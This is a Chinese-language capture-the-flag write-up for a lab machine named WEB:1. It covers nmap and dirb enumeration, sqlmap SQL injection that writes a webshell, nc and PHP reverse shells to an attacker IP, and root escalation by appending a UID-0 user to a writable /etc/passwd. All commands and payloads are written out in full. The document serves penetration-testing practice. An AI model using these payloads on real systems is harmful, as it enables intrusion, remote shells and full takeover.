WEB:1
该框旨在测试渗透测试人员的技能。目标很简单。从 /root/flag.txt 获取标志。 枚举框,获取低特权 shell,然后将权限升级到根
信息收集
- 使用nmap对网段和目标主机进行扫描
nmap -sT -sV -O 192.168.78.152
web渗透
- 发现目标主机只开放了80端口,只有网站可以进行渗透,而且存在robots.txt文件,对其进行访问
- 发现两个目录都被禁止访问了,可能都缺少权限吧
- 再使用dirb对se3re目录进行扫描,发现了存在index.php文件,访问该目录发现了提交框
-
提交1发现似乎是存在SQL注入漏洞,对其变量类型进行测试发现是字符型注入
- 接下来就直接使用sqlmap对SQL注入进行利用了,测试了一下没有过滤命令,抓包将数据包保存为web1.txt,毕竟是post参数。post的值写入到–data中
- 发现sqlmap可以成功跑下来,对数据库内容进行查看没有发现什么有用信息,毕竟没有登录的界面,也没有开放ssh。但是想到联合注入是可以进行写shell的。直接使用payload获取shell
python sqlmap.py -r test/web1.txt --data "uid=" -level 3 --os-shell
获取shell的level等级必须大于3
- 填写一些主要的参数,shell的语言类型,2,上传的路径地址三个条件
- 返回了shell框,输入id发现成功获取了shell
- 访问产生的shell文件地址,发现是一个提交框,可以上传自己本地的木马,那就不客气了,进行文件上传 这是sqlmap生成的文件提交框
- 使用蚁剑连接该目录,成功获取了权限
- 另外还可以直接写shell文件到目标主机的目录中payload为
python sqlmap.py -u "http://192.168.78.152/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write "E:\Web\oneword.php" --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hack.php
- 使用蚁剑测试链接效果
获取shell
-
打开蚁剑的虚拟终端,将shell反弹到虚拟机上
-
挣扎了半天能使用的都尝试了,失败告终
rm /tmp/f;mkfifo/tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.78.145 7878 >/tmp/f
-
最终使用php代码执行获取了shell权限
<?php
$sock=fsockopen("192.168.78.145",7878);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
权限提升
- 没什么思路,没有ssh服务,所以不会有ssh登录的可能,find查找suid提权也没有,sudo -l也没信息
- 通过了解得知类似于DC-9靶机的对/etc/passwd写入账号密码来进行提权。查看一下passwd的权限,发现竟然是web权限就可以编译。那看来就是创建root账号密码了
- 查看了一下suoders的权限,发现只能是root用户,所以不能直接写入用户名和权限了
- 用openssl生成用户,用户名为hacker密码123456
openssl passwd -1 -salt hacker 123456
$1$hacker$6luIRwdGpBvXdP.GMwcZp/
- 现在就要了解一下passwd文件下保存的账号密码的格式了
用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash
-
使用
echo 格式 >> /etc/passwd
文件中。 命令为echo 'hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash' >> /etc/passwd
-
查看passwd写入的账号密码信息
- 切换到hacker用户
su - hacker
- 来到root目录下查看flag文件
总结
- 了解了使用sqlmap获取shell和上传shell的操作 需要联合注入的条件下
- 扫描出来的目录都没有权限查看,一定还有隐藏的目录可以查看,可以尝试回退一级来查看,或者使用dirb再来对每个能访问的目录进行扫描
- 反弹shell的方式很多,nc bash不行,可以直接执行php或者python代码写的反弹shell文件
- 没有ssh连接,也没有suid提权,可以去看看sudo -l 和 /etc/passwd,/etc/sudoers文件的权限,查看是否可以写入来获取root权限